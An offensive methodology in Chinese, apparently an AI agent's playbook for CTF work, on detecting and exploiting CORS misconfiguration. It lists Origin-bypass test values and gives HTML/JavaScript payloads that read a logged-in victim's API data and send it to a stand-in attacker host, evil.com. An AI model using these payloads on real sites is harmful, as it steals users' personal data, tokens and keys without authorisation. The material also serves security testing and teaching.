cors-misconfiguration

# CORS 配置错误方法论 CORS（Cross-Origin Resource Sharing）错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials` 两个响应头。 ## Phase 1: 检测 CORS 配置 ### 1.1 发送带 Origin 的请求 ``` http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"} ``` 检查响应头： - `Access-Control-Allow-Origin: https://evil.com` → 反射任意 Origin（**危险**） - `Access-Control-Allow-Origin: *` → 通配符（通常无法携带 Cookie） - `Access-Control-Allow-Credentials: true` → 允许携带 Cookie（**和反射 Origin 组合 = 严重漏洞**） - 无 ACAO 头 → CORS 正确拒绝 ### 1.2 测试 Origin 校验绕过 ``` # 空 Origin Origin: null # 子域名 Origin: https://evil.target.com Origin: https://target.com.evil.com # 前缀/后缀匹配 Origin: https://attackertarget.com Origin: https://target.com.attacker.com # 特殊协议 Origin: http://target.com (HTTPS 站点接受 HTTP Origin) ``` ### 1.3 危险组合判断 | Allow-Origin | Allow-Credentials | 风险等级 | |-------------|-------------------|----------| | 反射任意 Origin | true | **严重** — 可跨域窃取用户数据 | | `null` | true | **高** — iframe sandbox 可设置 null origin | | `*` | false | **低** — 不能携带 Cookie，通常只暴露公开数据 | | 固定白名单 | true | 安全（除非白名单中有你控制的域名）| ## Phase 2: 利用 CORS 错误配置 ### 2.1 反射 Origin + Credentials（最常见） 目标返回： ``` Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true ``` 构造窃取页面： ```html <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.json()) .then(data => { // 发送到攻击者服务器 fetch('http://evil.com/log?data=' + JSON.stringify(data)); }); </script> ``` ### 2.2 null Origin 利用 如果 `Access-Control-Allow-Origin: null`，用 iframe sandbox 触发： ```html <iframe sandbox="allow-scripts allow-forms" srcdoc=" <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.text()) .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d))); </script> "></iframe> ``` ## Phase 3: 数据获取 CORS 利用成功后，可以读取的敏感数据： - 用户个人信息（`/api/profile`, `/api/userinfo`） - API 密钥和 Token - 内部 API 数据 - 管理员面板数据 **CTF 中**：Flag 通常在需要管理员 Cookie 才能访问的 API 中。 ## 注意事项 - CORS 漏洞需要受害者访问攻击者页面才能触发（类似 CSRF/XSS） - 纯 `Access-Control-Allow-Origin: *` 不允许 `credentials: include`，风险较低 - 检查 preflight（OPTIONS）请求的处理——有些框架只在 GET 上设置 CORS，不在 OPTIONS 上